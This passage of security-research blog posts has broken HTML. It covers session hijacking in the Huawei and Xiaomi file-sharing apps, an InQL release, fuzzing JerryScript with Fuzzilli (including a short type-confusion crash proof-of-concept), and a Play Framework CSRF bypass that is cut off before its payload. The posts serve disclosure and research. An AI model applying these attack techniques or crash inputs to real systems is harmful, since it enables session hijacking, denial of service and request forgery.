highlighter-rougecom.huawei.android.wfdft.ftc/code) are spawned and listening on ports code class=language-plaintext highlighter-rouge8058/code and code class=language-plaintext highlighter-rouge33003/code. On a high level, the Share protocol resembles the LG SmartShare Beam mechanism, but without the same design flaws./p pUnfortunately, the stumbling block for Huawei Share is the stability of the services: multiple HTTP requests that could respectively crash the code class=language-plaintext highlighter-rougeFTCService/code or code class=language-plaintext highlighter-rougeFTSService/code were identified. Since the crashes could be triggered by any third-party application installed on the user’s device and because of the UPnP a href=http://upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.1.pdfGeneral Event Notification Architecture (GENA)/a design itself, strongan attacker can still take over any communication initiated by the legit Huawei Share applications, stealing Session IDs and hijacking file transfers./strong/p h3 id=abusing-ftsftc-crashesAbusing FTS/FTC Crashes/h3 pIn the replicated attack scenario, Alice and Bob’s devices are connected and paired on a Direct Wi-Fi connection. Bob also unwittingly runs a malicious application with little or no privileges on his device. In this scenario, Bob initiates a file share through Huawei Share span class=dot1/span. His legit application will, therefore, send a code class=language-plaintext highlighter-rougeCreateSession/code SOAP action through a POST request to Alice’s code class=language-plaintext highlighter-rougeFTCService/code to get a valid code class=language-plaintext highlighter-rougeSessionID/code, which will be used as an authorization token for the rest of the transaction. During a standard exchange, after Alice accepts the transfer on her device, a file share event notification (code class=language-plaintext highlighter-rougeNOTIFY /evetSub/code) will fire to Bob’s code class=language-plaintext highlighter-rougeFTSService/code. The code class=language-plaintext highlighter-rougeFTSService/code will then be used to serve the intended file./p div class=language-xml highlighter-rougediv class=highlightpre class=highlightcodeNOTIFY /evetSub HTTP/1.1 Content-Type: text/xml; charset=utf-8 HOST: 192.168.49.1 NT: upnp:event NTS: upnp:propchange SID: uuid:e9400170-a170-15bd-802e-165F9431D43F SEQ: 1 Content-Length: 218 Connection: close   span class=cplt;?xml version=1.0 encoding=utf-8?gt;/span span class=ntlt;e:propertyset/span span class=naxmlns:e=/spanspan class=surn:schemas-upnp-org:event-1-0/spanspan class=ntgt;/span    span class=ntlt;e:propertygt;/span       span class=ntlt;TransportStatusgt;/span1924435235:READY_FOR_TRANSPORTspan class=ntlt;/TransportStatusgt;/span    span class=ntlt;/e:propertygt;/span span class=ntlt;/e:propertysetgt;/span /code/pre/div/div pSince an inherent time span exists between the manual acceptance of the transfer by Alice and its start, the malicious application could perform a request with an ad-hoc payload to trigger a crash of code class=language-plaintext highlighter-rougeFTSService/code span class=dot2/span and subsequently bind to the same port its own code class=language-plaintext highlighter-rougeFTSService/code span class=dot3/span. Because of the UPnP event subscription and notification protocol design, the code class=language-plaintext highlighter-rougeNOTIFY/code event including the code class=language-plaintext highlighter-rougeSessionID/code (code class=language-plaintext highlighter-rouge1924435235/code in the example above) can now be intercepted by the fake code class=language-plaintext highlighter-rougeFTSService/code span class=dot4/span and used by the malicious application to serve arbitrary files./p div style=text-align: center; img src=../../../public/images/HuaweiShareLocalAttack.png title=Example of a local attacker exploiting a Huawei Share crash align=center style=display: block; margin-left: auto; margin-right: auto; max-width: 80%; / /div pThe crashes are undetectable both to the device’s user and to the file recipient. Multiple crash vectors using malformed requests were identified, making the service systemically weak and exploitable./p hr / h2 id=xiaomi-mi-shareXiaomi Mi Share/h2 pIntroduced with MIUI 11, Xiaomi’s MiShare offers AirDrop-like file transfer features between Mi and Redmi phones. Recently this feature was extended to be compatible with devices produced by the “Peer-to-Peer Transmission Alliance” (including vendors a href=https://www.xda-developers.com/oneplus-realme-black-shark-meizu-join-xiaomi-oppo-vivo-file-transfer-alliance/with over 400M users/a such as Xiaomi, OPPO, Vivo, Realme, Meizu)./p div style=text-align: center; video poster=../../../public/images/MIUI-Share.png src=../../../public/images/MIUI-Share.mp4 title=Huawei Share Product Overview autoplay= muted= loop=true playsinline= align=center style=max-width: 40%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;/video /div pDue to this transition, MiShare internally features two different sets of APIs:/p ul liOne using bare HTTP requests, with many RESTful routes/li liOne using mainly a href=https://tools.ietf.org/html/rfc6455Websockets Secure (WSS)/a and only a handful of HTTPS requests/li /ul pThe websocket-based API is currently used by default for transfers between Xiaomi Devices and this is the one we assessed. As in other P2P solutions, several minor design and implementation bugs were identified:/p ul li pThe JSON-encoded parcel sent via WSS specifying the file properties is trusted and its code class=language-plaintext highlighter-rougefileSize/code parameter is used to check if there is available space on the device left. Since this is the sender’s declared file size, a Denial of Service (DoS) exhausting the remaining space is possible./p /li li pSession tokens (code class=language-plaintext highlighter-rougetaskId/code) are 19-digits long and a weak source of entropy (a href=https://docs.oracle.com/javase/8/docs/api/java/util/Random.htmljava.util.Random/a) is used to generate them./p /li li pJust like the other presented vendor solutions, any third-party application installed on the user’s device can meddle with MiShare’s exchange. While several DoS payloads crashing MiShare are also available, for this vendor the file transfer service is restarted very quickly, making the window of opportunity for an attack very limited./p /li /ul pOn a brighter note, the Mi Share protocol design was hardened using per-session TLS certificates when communicating through WSS and HTTPS, limiting the exploitability of many security issues./p hr / h2 id=conclusionsConclusions/h2 pSome of the attacks described can be easily replicated in other existing mobile file transfer solutions. While the core technology has always been there, OEMs still struggle to defend their own P2P sharing flavors. Other common vulnerabilities found in the past include similar improper access control issues, path traversals, XML External Entity (XXE), improper file management, and monkey-in-the-middle (MITM) of the connection./p pAll vulnerabilities briefly described in this post were responsibly disclosed to the respective OEM security teams between April and June 2020./p

InQL Scanner v3 - Just Released!

18 November 2020 at 23:00
pWe’re very happy to announce that a new major release of strongInQL/strong is now available on our a href=https://github.com/doyensec/inql/releases/tag/v3.0.0Release Page/a./p div style=text-align: center; img src=../../../public/images/inql.png title=InQL Logo alt=InQL Logo align=center style=display: block; margin-left: auto; margin-right: auto; width: 180px; / /div pIf you’re not familiar, InQL is a security testing tool for a href=https://graphql.org/GraphQL/a technology. It can be used as a stand-alone script or as a a href=https://portswigger.net/burpBurp Suite/a extension./p pBy combining InQL v3 features with the ability to send query templates to Burp’s Repeater, we’ve made it very easy to exploit vulnerabilities in GraphQL queries and mutations. This drastically lowers the bar for security research against GraphQL tech stacks./p pHere’s a short intro for major features that have been implemented in version 3.0:/p h3 id=new-iir-introspection-intermediate-representation-and-precise-query-generationNew IIR (Introspection Intermediate Representation) and Precise Query Generation/h3 pInQL now leverages an internal emintrospection intermediate representation/em (IIR) to use details obtained from type introspection and generate arbitrarily nested queries with support for any scalar types, enumerations, arrays, and objects. IIR enables seamless “Send to Repeater” functionality from the Scanner to the other tool components (Repeater and GraphQL console)./p h3 id=new-cycles-detectorNew Cycles Detector/h3 pThe new IIR allows us to inspect cycles in defined Graphql schemas by simply using access to graphql introspection-enabled endpoints. In this context, a cycle is a path in the Graphql schema that uses recursive objects in a way that leads to unlimited nesting. The detection of cycles is incredibly useful and automates tedious testing procedures by employing graph solving algorithms. In some of our past client engagements, this tool was able to find millions of cycles in a matter of minutes./p h3 id=new-request-timerNew Request Timer/h3 pInQL 3.0.0 has an integrated emQuery Timer/em. This Query Timer is a reimagination of a href=https://github.com/PortSwigger/request-timerRequest Timer/a, which can filter for query name and body. The Query Timer is enabled by default and is especially useful in conjunction with the Cycles detector. A tester can switch between graphql-editor modes (Repeater and GraphIQL) to a href=https://www.diva-portal.org/smash/get/diva2:1302887/FULLTEXT01.pdfidentify DoS queries/a. Query Timer demonstrates the ability to attack such vulnerable graphql endpoints by counting each query’s execution time./p div style=text-align: center; img src=../../../public/images/timerinql.gif title=InQL Timer alt=InQL Timer align=center style=display: block; margin-left: auto; margin-right: auto / /div h3 id=bugs-fixes-and-future-developmentBugs fixes and future development/h3 pWe’re really thankful to all of you for reporting issues in our previous releases. We have implemented various fixes for functional and UX bugs, including a tricky bug caused by a sudden Burp Suite change in the latest 2020.11 update./p div style=text-align: center; img src=../../../public/images/inqltwitterissue.png title=InQL Twitter Issue alt=InQL Twitter Issue align=center style=display: block; margin-left: auto; margin-right: auto / /div pWe’re excited to see the community embracing InQL as the “go-to” standard for GraphQL security testing. More features to come, so keep your requests and bug reports coming via our a href=https://github.com/doyensec/inql/issuesGithub’s Issue Page/a. Your feedback is much appreciated!/p pThis project was made with love in the a href=https://doyensec.com/research.htmlDoyensec Research Island/a./p

Fuzzing JavaScript Engines with Fuzzilli

8 September 2020 at 22:00
h2 id=backgroundBackground/h2 pAs part of my research at Doyensec, I spent some time trying to understand current fuzzing techniques, which could be leveraged against the popular JavaScript engines (JSE) with a focus on V8. Note that I did not have any prior experience with fuzzing JSEs before starting this journey./p h3 id=dharmaDharma/h3 pMy experimentation started with a context-free grammar (CFG) generator: a href=https://github.com/MozillaSecurity/dharmaDharma/a. I quickly realized that the grammar rules for generating valid JavaScript code that does something interesting are too complicated. Type confusion and a href=https://en.wikipedia.org/wiki/Just-in-time_compilationJIT/a engine bugs were my primary focus, however, most of the generated code was syntactically incorrect. Every statement was wrapped in a code class=language-plaintext highlighter-rougetry/catch/code block to deal with the incorrect code. After a few days of fuzzing, I was only able to find out-of-memory (OOM) bugs. If you want to read more about V8 JIT and Dharma, I recommend a href=https://blog.osiris.cyber.nyu.edu/2019/12/22/vasilisk/this thoughtful research/a./p pDharma allows you to specify three sections for various purposes. The first one is called code class=language-plaintext highlighter-rougevariable/code and enables you the definition of variables later used in the code class=language-plaintext highlighter-rougevalue/code section. The last one, code class=language-plaintext highlighter-rougevariance/code is commonly used to specify the starting symbol for expanding the CFG tree./p pThe linkage is implemented inside the code class=language-plaintext highlighter-rougevalue/code and a nice feature of Dharma is that here you only define the assignment rules or function invocations, and the variables are automatically created when needed. However, if we assign a variable of type A to one with the different type B, we have to include all the type A rules inside the type B object./p pHere is an example of such rule:/p div class=language-javascript highlighter-rougediv class=highlightpre class=highlightcodespan class=ktry/span span class=p{/span span class=o!/spanspan class=nxTYPEDARRAY/spanspan class=o!/span span class=o=/span span class=o!/spanspan class=nxARRAYBUFFER/spanspan class=o!/spanspan class=p./spanspan class=nxslice/spanspan class=p(/spanspan class=o!/spanspan class=nxANY_FUNCTION/spanspan class=o!/spanspan class=p,/span span class=o!/spanspan class=nxANY_FUNCTION/spanspan class=o!/spanspan class=p)/span span class=p}/span span class=kcatch/span span class=p(/spanspan class=nxe/spanspan class=p)/span span class=p{};/span /code/pre/div/div pAs you can imagine, without writing an additional library, the code quickly becomes complicated and clumsy./p pFuzzing with coverage is mandatory when targeting popular software as a pure blackbox approach only scratches the attack surface. Coverage could be easily obtained when the binary is compiled with a specific a href=https://clang.llvm.org/docs/SourceBasedCodeCoverage.htmlClang/a (compiler frontend, part of the LLVM infrastructure) flag. Part of the output could be seen in the picture below. In my case, it was only useful for the manual code review and grammar adjustment, as there was no convenient way how to implement the mutator on the JavaScript source code./p pimg src=../../../public/images/fuzzilli-jerryscript-coverage-report.png width=850 alt=Coverage Report for V8 align=center //p h3 id=fuzzilliFuzzilli/h3 pAs an alternative approach, I started to play with a href=https://github.com/googleprojectzero/fuzzilliFuzzilli/a, which I think is incredible and still a very underrated fuzzer, implemented by a href=https://twitter.com/5aeloSamuel Groß (aka Saelo)/a. Fuzzilli uses an intermediate representation (IR) language called FuzzIL, which is perfectly suitable for mutating. Moreover, any program in FuzzIL could always be converted (lifted) to a valid JavaScript code./p pAt that time, the supported targets were emV8/em, emSpiderMonkey/em, and emJavaScriptCore/em. As these engines continuously undergo widespread fuzzing, I instead decided to implement support for a different JavaScript Engine. I was also interested in the communication protocol between the fuzzer and the engine, so I considered expanding this fuzzer to be an excellent exercise./p pI decided to add support for a href=https://github.com/jerryscript-project/jerryscript/JerryScript/a. In the past years, numerous security issues have been discovered on this target by a href=https://github.com/renatahodovan/fuzzinatorFuzzinator/a, which uses the ANTLR v4 testcase generator a href=https://github.com/renatahodovan/grammarinatorGrammarinator/a. Those bugs were investigated and fixed, so I wanted to see if Fuzzilli could find something new./p h2 id=fuzzilli-basicsFuzzilli Basics/h2 h3 id=reprlREPRL/h3 pThe best available high-level documentation about Fuzzilli is Samuel’s a href=https://saelo.github.io/papers/thesis.pdfMasters Thesis/a, where it was introduced, and I strongly recommend reading it as this article summarizes some of the novel ideas./p pMany modern fuzzer architectures use Forkserver. The idea behind it is to run the program until the initialization is complete, but before it processes any input. Right after that, the input from the fuzzer is read and passed to a newly forked child. The overhead is low since the initialization possibly only occurs once, or when a restart is needed (e.g. in the case of continuous memory leaks)./p pFuzzilli uses the REPRL approach, which saves the overhead caused by code class=language-plaintext highlighter-rougefork()/code and the measured execution per sample could be ~7 times faster. The JSE engine is modified to read the input from the fuzzer, and after it executes the sample, it obtains the coverage. The crucial part is to reset the state, which is normally (obviously) not done, as the engine uses the context of the already defined variables. In contrast with the Forkserver, we need a rudimentary knowledge of the engine. It is useful to know how the engine’s string representation is internally implemented to feed the input or add additional commands./p h3 id=coverageCoverage/h3 pLLVM gives a convenient way to obtain the edge coverage. Providing the code class=language-plaintext highlighter-rouge-fsanitize-coverage=trace-pc-guard/code compiler flag to Clang, we can receive a pointer to the code class=language-plaintext highlighter-rougestart/code and code class=language-plaintext highlighter-rougeend/code of the regions, which are initialized by the guard number, as can be read in the llvm a href=https://clang.llvm.org/docs/SanitizerCoverage.html#tracing-pcs-with-guardsdocumentation/a:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=kextern/span span class=sC/span span class=ktvoid/span span class=nf__sanitizer_cov_trace_pc_guard_init/spanspan class=p(/spanspan class=ktuint32_t/span span class=o*/spanspan class=nstart/spanspan class=p,/span span class=ktuint32_t/span span class=o*/spanspan class=nstop/spanspan class=p)/span span class=p{/span span class=kstatic/span span class=ktuint64_t/span span class=nN/spanspan class=p;/span span class=c1// Counter for the guards./span span class=kif/span span class=p(/spanspan class=nstart/span span class=o==/span span class=nstop/span span class=o||/span span class=o*/spanspan class=nstart/spanspan class=p)/span span class=kreturn/spanspan class=p;/span span class=c1// Initialize only once./span span class=nprintf/spanspan class=p(/spanspan class=sINIT: %p %p/spanspan class=se\n/spanspan class=s/spanspan class=p,/span span class=nstart/spanspan class=p,/span span class=nstop/spanspan class=p);/span span class=kfor/span span class=p(/spanspan class=ktuint32_t/span span class=o*/spanspan class=nx/span span class=o=/span span class=nstart/spanspan class=p;/span span class=nx/span span class=olt;/span span class=nstop/spanspan class=p;/span span class=nx/spanspan class=o++/spanspan class=p)/span span class=o*/spanspan class=nx/span span class=o=/span span class=o++/spanspan class=nN/spanspan class=p;/span span class=c1// Guards should start from 1./span span class=p}/span /code/pre/div/div pThe guard regions are included in the JSE target. This means that the JavaScript engine must be modified to accommodate these changes. Whenever a branch is executed, the code class=language-plaintext highlighter-rouge__sanitizer_cov_trace_pc_guard/code callback is called. Fuzzilli uses a POSIX shared memory object (a href=https://www.man7.org/linux/man-pages/man7/shm_overview.7.htmlshmem/a) to avoid the overhead when passing the data to the parent process. Shmem represents a bitmap, where the visited edge is set and, after each JavaScript input pass, the edge guards are reinitialized./p h3 id=generationGeneration/h3 pWe are not going to repeat the program generation algorithms, as they are closely described in the thesis. The surprising fact is that all the programs stem from this simple JavaScript by cleverly applying multiple mutators:/p div class=language-javascript highlighter-rougediv class=highlightpre class=highlightcodespan class=nbObject/spanspan class=p()/span /code/pre/div/div h2 id=integration-with-jerryscriptIntegration with JerryScript/h2 pTo add a new target, several modifications for Fuzzilli should be implemented. From a high level, the REPRL pseudocode is described a href=https://github.com/googleprojectzero/fuzzilli/tree/master/Targetshere/a./p pAs we already mentioned, the JavaScript engine must be modified to conform to Fuzzilli’s protocol. To keep the same code standards and logic, we recommend adding a custom command line parameter to the engine. If we decide to run the interpreter without it, it will run normally. Otherwise, it uses the hardcoded descriptor numbers to make the parent knows that the interpreter is ready to process our input./p pFuzzilli internally uses a custom command, by default called code class=language-plaintext highlighter-rougefuzzilli/code, which the interpreter should also implement. The first parameter represents the operator - it could be code class=language-plaintext highlighter-rougeFUZZILLI_CRASH/code or code class=language-plaintext highlighter-rougeFUZZILLI_PRINT/code. The former is used to check if we can intercept the segmentation faults, while the latter (optional) is used to print the output passed as an argument. By design, the fuzzer prevents execution when some checks fail, e.g., the operation code class=language-plaintext highlighter-rougeFUZZILLI_CRASH/code is not implemented./p pThe code is very similar between different targets, as you can see in the patch for a href=https://github.com/googleprojectzero/fuzzilli/blob/master/Targets/Jerryscript/Patches/jerryscript.patchJerryScript/a that we submitted./p pFor a basic setup, one needs to write a short profile file stored in code class=language-plaintext highlighter-rougeSources/FuzzilliCli/Profiles//code. Here we can specify additional builtins specific to the engine, arguments, or thanks to the recent contribution from a href=https://github.com/googleprojectzero/fuzzilli/pull/72WilliamParks/a also the code class=language-plaintext highlighter-rougeECMAScriptVersion/code./p h2 id=resultsResults/h2 pBy integrating Fuzzilli with JerryScript, Doyensec was able to identify multiple bugs reported over the course of four weeks through GitHub. All of these issues were fixed./p pAll issues were also added to the Fuzzilli a href=https://github.com/googleprojectzero/fuzzilli/#jerryscriptBug Showcase/a:/p pimg src=../../../public/images/fuzzilli-jerryscript-showcase.png width=850 alt=Fuzzilli Showcase align=center //p pFuzzilli is by design efficient against targets with JIT compilers. It can abuse the non-linear execution flow by generating nested callbacks, Prototypes or a href=https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ProxyProxy/a objects, where the state of a different object could be modified. Samples produced by Fuzzilli are specifically generated to incorporate these properties, as required for the discovery of type confusion bugs./p pThis behavior could be easily seen in the a href=https://github.com/szilagyiadam/jerryscript/commit/a6208a78b3ad6d3224e73c5d18c0c8e68397c2b1Issue #3836/a. As in most cases, the proof of concept generated by Fuzzilli is very simple:/p div class=language-javascript highlighter-rougediv class=highlightpre class=highlightcodespan class=kdfunction/span span class=nxmain/spanspan class=p()/span span class=p{/span span class=kdvar/span span class=nxv3/span span class=o=/span span class=knew/span span class=nbFloat64Array/spanspan class=p(/spanspan class=mi6/spanspan class=p);/span span class=kdvar/span span class=nxv4/span span class=o=/span span class=nxv3/spanspan class=p./spanspan class=nxbuffer/spanspan class=p;/span span class=nxv4/spanspan class=p./spanspan class=kdconstructor/span span class=o=/span span class=nbUint8Array/spanspan class=p;/span span class=kdvar/span span class=nxv5/span span class=o=/span span class=knew/span span class=nbFloat64Array/spanspan class=p(/spanspan class=nxv3/spanspan class=p);/span span class=p}/span span class=nxmain/spanspan class=p();/span /code/pre/div/div pThis could be rewritten without changing the semantics to an even simpler code:/p div class=language-javascript highlighter-rougediv class=highlightpre class=highlightcodespan class=kdvar/span span class=nxv1/span span class=o=/span span class=knew/span span class=nbFloat64Array/spanspan class=p(/spanspan class=mi6/spanspan class=p);/span span class=nxv1/spanspan class=p./spanspan class=nxbuffer/spanspan class=p./spanspan class=kdconstructor/span span class=o=/span span class=nbUint8Array/spanspan class=p;/span span class=knew/span span class=nbFloat64Array/spanspan class=p(/spanspan class=nxv1/spanspan class=p);/span /code/pre/div/div pThe root cause of this issue is described in the a href=https://github.com/szilagyiadam/jerryscript/commit/a6208a78b3ad6d3224e73c5d18c0c8e68397c2b1fix/a./p pIn JavaScript when a typed array like a href=https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float64ArrayFloat64Array/a is created, a raw binary data buffer could be accessed via the code class=language-plaintext highlighter-rougebuffer/code property, represented by the code class=language-plaintext highlighter-rougeArrayBuffer/code type. However, the type was later altered to typed array view code class=language-plaintext highlighter-rougeUint8Array/code. During the initialization, the engine was expecting an code class=language-plaintext highlighter-rougeArrayBuffer/code instead of the typed array. When calling the code class=language-plaintext highlighter-rougeecma_arraybuffer_get_buffer/code function, the typed array pointer was cast to code class=language-plaintext highlighter-rougeArrayBuffer/code. Note that this is possible since the production build’s a href=https://github.com/szilagyiadam/jerryscript/blob/a56e31f194fe52000ed95605ae3c92390cd60ad5/jerry-core/ecma/operations/ecma-arraybuffer-object.c#L214asserts/a are removed. This caused the type confusion bug on line a href=https://github.com/szilagyiadam/jerryscript/blob/a56e31f194fe52000ed95605ae3c92390cd60ad5/jerry-core/ecma/operations/ecma-arraybuffer-object.c#L196196/a./p pConsequently, the destination buffer code class=language-plaintext highlighter-rougedst_buf_p/code contained an incorrect pointer, as we can see the memory corruption from the triage via gdb:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeProgram received signal SIGSEGV, Segmentation fault. ecma_typedarray_create_object_with_typedarray (typedarray_id=ECMA_FLOAT64_ARRAY, element_size_shift=lt;optimized outgt;, proto_p=lt;optimized outgt;, typedarray_p=0x5555556bd408 lt;jerry_global_heap+480gt;) at /home/jerryscript/jerry-core/ecma/operations/ecma-typedarray-object.c:655 655 memcpy (dst_buf_p, src_buf_p, array_length lt;lt; element_size_shift); (gdb) x/i $rip =gt; 0x55555557654e lt;ecma_op_create_typedarray+346gt;: rep movsb %ds:(%rsi),%es:(%rdi) (gdb) i r rdi rdi 0x3004100020008 844704103137288 /code/pre/div/div pSome of the issues, including the one mentioned above, could be probably escalated from Denial of Service to Code Execution. Because of the time constraints and little added value, we have not tried to implement a working exploit./p pI want to thank emSaelo/em for including my JerryScript patch into Fuzzilli. And many thanks to Doyensec for the funded a href=(https://doyensec.com/research.html)25% research time/a, which made this project possible./p h2 id=additional-referencesAdditional References/h2 ul lia href=https://saelo.github.io/papers/thesis.pdfFuzzIL: Coverage Guided Fuzzing for JavaScript Engines by Saelo/a/li lia href=https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Dominiak-Efficient-Approach-to-Fuzzing-Interpreters-wp.pdfEfficient Approach to Fuzzing Interpreters by Marcin Dominiak and Wojciech Rauner/a/li /ul

CSRF Protection Bypass in Play Framework

19 August 2020 at 22:00
pThis blog post illustrates a vulnerability affecting the a href=https://www.playframework.com/Play framework/a that we discovered during a client engagement. This issue allows a complete a href=https://en.wikipedia.org/wiki/Cross-site_request_forgeryCross-Site Request Forgery (CSRF)/a protection bypass under specific configurations./p pBy their own words, the strongPlay Framework/strong is a emhigh velocity web framework for java and scala/em. It is built on Akka which is a emtoolkit for building highly concurrent, distributed, and resilient message-driven applications for Java and Scala/em./p pPlay is a widely used framework and is deployed on web platforms for both large and small organizations, such as emVerizon/em, emWalmart/em, emThe Guardian/em, emLinkedIn/em, emSamsung/em and many others./p h2 id=old-school-anti-csrf-mechanismOld school anti-CSRF mechanism/h2 pIn older versions of the framework, CSRF protection were provided by an insecure baseline mechanism - even when CSRF tokens were not present in the HTTP requests./p pThis mechanism was based on the basic differences between strongSimple Requests/strong and strongPreflighted Requests/strong. Let’s explore the details of that./p pA strongSimple Request/strong has a strict ruleset. Whenever these rules are followed, the user agent (e.g. a browser) won’t issue an code class=language-plaintext highlighter-rougeOPTIONS/code request even if this is through emXMLHttpRequest/em. All rules and details can be seen in this a href=https://developer.mozilla.org/en-US/docs/Web/HTTP/CORSMozilla’s Developer Page/a, although we are primarily interested in the code class=language-plaintext highlighter-rougeContent-Type/code ruleset./p pThe code class=language-plaintext highlighter-rougeContent-Type/code header for simple requests can contain one of three values:/p ul licode class=language-plaintext highlighter-rougeapplication/x-www-form-urlencoded/code/li licode class=language-plaintext highlighter-rougemultipart/form-data/code/li licode class=language-plaintext highlighter-rougetext/plain/code/li /ul pIf you specify a different code class=language-plaintext highlighter-rougeContent-Type/code, such as code class=language-plaintext highlighter-rougeapplication/json/code, then the browser will send a OPTIONS request to verify that the web server allows such a request./p pNow that we understand the differences between preflighted and simple requests, we can continue onwards to understand how Play used to protect against CSRF attacks./p pIn older versions of the framework (until version 2.5, included), a black-list approach on receiving code class=language-plaintext highlighter-rougeContent-Type/code headers was used as a CSRF prevention mechanism./p pIn the a href=https://www.playframework.com/documentation/2.8.x/Migration252.8.x migration guide/a, we can see how users could restore Play’s old default behavior if required by legacy systems or other dependencies:/p pstrongapplication.conf/strong/p div class=language-javascript highlighter-rougediv class=highlightpre class=highlightcodespan class=nxplay/spanspan class=p./spanspan class=nxfilters/spanspan class=p./spanspan class=nxcsrf/span span class=p{/span span class=nxheader/span span class=p{/span span class=nxbypassHeaders/span span class=p{/span span class=nxX/spanspan class=o-/spanspan class=nxRequested/spanspan class=o-/spanspan class=nxWith/span span class=o=/span span class=dl/spanspan class=s2*/spanspan class=dl/span span class=nxCsrf/spanspan class=o-/spanspan class=nxToken/span span class=o=/span span class=dl/spanspan class=s2nocheck/spanspan class=dl/span span class=p}/span span class=nxprotectHeaders/span span class=o=/span span class=kcnull/span span class=p}/span span class=nxbypassCorsTrustedOrigins/span span class=o=/span span class=kcfalse/span span class=nxmethod/span span class=p{/span span class=nxwhiteList/span span class=o=/span span class=p[]/span span class=nxblackList/span span class=o=/span span class=p[/spanspan class=dl/spanspan class=s2POST/spanspan class=dl/spanspan class=p]/span span class=p}/span span class=nxcontentType/spanspan class=p./spanspan class=nxblackList/span span class=o=/span span class=p[/spanspan class=dl/spanspan class=s2application/x-www-form-urlencoded/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2multipart/form-data/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2text/plain/spanspan class=dl/spanspan class=p]/span span class=p}/span /code/pre/div/div pIn the snippet above we can see the core of the old protection. The code class=language-plaintext highlighter-rougecontentType.blackList/code setting contains three values, which are identical to the content type of “simple requests”. This has been considered as a valid (although not ideal) protection since the following scenarios are prevented:/p ul liemattacker.com/em embeds a code class=language-plaintext highlighter-rougelt;formgt;/code element which posts to emvictim.com/em ul liForm allows emform-urlencoded/em, emmultipart/em or emplain/em, which are all blocked by the mechanism/li /ul /li liemattacker.com/em uses XHR to code class=language-plaintext highlighter-rougePOST/code to emvictim.com/em with code class=language-plaintext highlighter-rougeapplication/json/code ul liSince code class=language-plaintext highlighter-rougeapplication/json/code is not a “simple request”, an OPTIONS will be sent and (assuming a proper configuration) CORS will block the request/li /ul /li liemvictim.com/em uses XHR to POST to emvictim.com/em with code class=language-plaintext highlighter-rougeapplication/json/code ul liThis works as it should, since the request is not cross-site but within the same domain/li /ul /li /ul pHence, you now have CSRF protection. Or do you?/p h2 id=looking-for-a-bypassLooking for a bypass/h2 pArmed with this knowledge, the first thing that comes to mind is that we need to make the browser issue a request that does not trigger a preflight span style=text-decoration: underlineand/span that does not match any values in the code class=language-plaintext highlighter-rougecontentType.blackList/code setting./p pThe first thing we did was map out requests that we could modify without sending an code class=language-plaintext highlighter-rougeOPTIONS/code preflight. This came down to a single request: code class=language-plaintext highlighter-rougeContent-Type: multipart/form-data/code/p pThis appeared immediately interesting thanks to the code class=language-plaintext highlighter-rougeboundary/code value: code class=language-plaintext highlighter-rougeContent-Type: multipart/form-data; boundary=something/code/p pThe description can be found a href=https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Typehere/a:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcodeFor multipart entities the boundary directive is required, which consists of 1 to 70 characters from a set of characters known to be very robust through email gateways, and not ending with white space. It is used to encapsulate the boundaries of the multiple parts of the message. Often, the header boundary is prepended with two dashes and the final boundary has two dashes appended at the end. /code/pre/div/div pSo, we have a field that can actually be modified with plenty of different characters and it is all attacker-controlled./p pNow we need to dig deep into the parsing of these headers. In order to do that, we need to take a look at strongAkka HTTP/strong which is what the Play framework is based on./p pLooking at strongHttpHeaderParser.scala/strong, we can see that these headers are always parsed:/p div class=language-scala highlighter-rougediv class=highlightpre class=highlightcodespan class=kprivate/span span class=kval/span span class=nvalwaysParsedHeaders/span span class=k=/span span class=ncSet/spanspan class=o[/spanspan class=ktString/spanspan class=o](/span span class=sconnection/spanspan class=o,/span span class=scontent-encoding/spanspan class=o,/span span class=scontent-length/spanspan class=o,/span span class=scontent-type/spanspan class=o,/span span class=sexpect/spanspan class=o,/span span class=shost/spanspan class=o,/span span class=ssec-websocket-key/spanspan class=o,/span span class=ssec-websocket-protocol/spanspan class=o,/span span class=ssec-websocket-version/spanspan class=o,/span span class=stransfer-encoding/spanspan class=o,/span span class=supgrade/span span class=o)/span /code/pre/div/div pAnd the parsing rules can be seen in strongHeaderParser.scala/strong which follows a href=https://tools.ietf.org/html/rfc7230RFC 7230/a emHypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing, June 2014/em./p div class=language-scala highlighter-rougediv class=highlightpre class=highlightcodespan class=kdef/span span class=nf`/spanspan class=nheader/spanspan class=o-/spanspan class=nfield/spanspan class=o-/spanspan class=nvalue`: Rule1[String] = rule { FWS ~ clearSB() ~ `field/spanspan class=o-/spanspan class=nvalue` ~ FWS ~ EOI ~ push(sb.toString) } def `field/spanspan class=o-/spanspan class=nvalue` = { var fwsStart = cursor rule { zeroOrMore(`field/spanspan class=o-/spanspan class=nvalue/spanspan class=o-/spanspan class=nchunk`).separatedBy { // zeroOrMore because we need to also accept empty values run { fwsStart = cursor } ~ FWS ~ amp;(`field/spanspan class=o-/spanspan class=nvalue/spanspan class=o-/spanspan class=nchar`) ~ run { if (cursor gt; fwsStart) sb.append(' ') } } } } def `field/spanspan class=o-/spanspan class=nvalue/spanspan class=o-/spanspan class=nchunk` = rule { oneOrMore(`field/spanspan class=o-/spanspan class=nvalue/spanspan class=o-/spanspan class=nchar` ~ appendSB()) } def `field/spanspan class=o-/spanspan class=nvalue/spanspan class=o-/spanspan class=nchar` = rule { VCHAR | `obs/spanspan class=o-/spanspan class=ntext` } def FWS = rule { zeroOrMore(WSP) ~ zeroOrMore(`obs/spanspan class=o-/spanspan class=nfold`) } def `obs/spanspan class=o-/spanspan class=nfold/spanspan class=o`/span span class=k=/span span class=nrule/span span class=o{/span span class=ncCRLF/span span class=o~/span span class=nfoneOrMore/spanspan class=o(/spanspan class=ncWSP/spanspan class=o)/span span class=o}/span /code/pre/div/div pIf these parsing rules are not obeyed, the value will be set to code class=language-plaintext highlighter-rougeNone/code. Perfect! That is exactly what we need for bypassing the CSRF protection - a “simple request” that will then be set to code class=language-plaintext highlighter-rougeNone/code thus bypassing the blacklist./p pHow do we actually forge a request that is allowed by the browser, but it 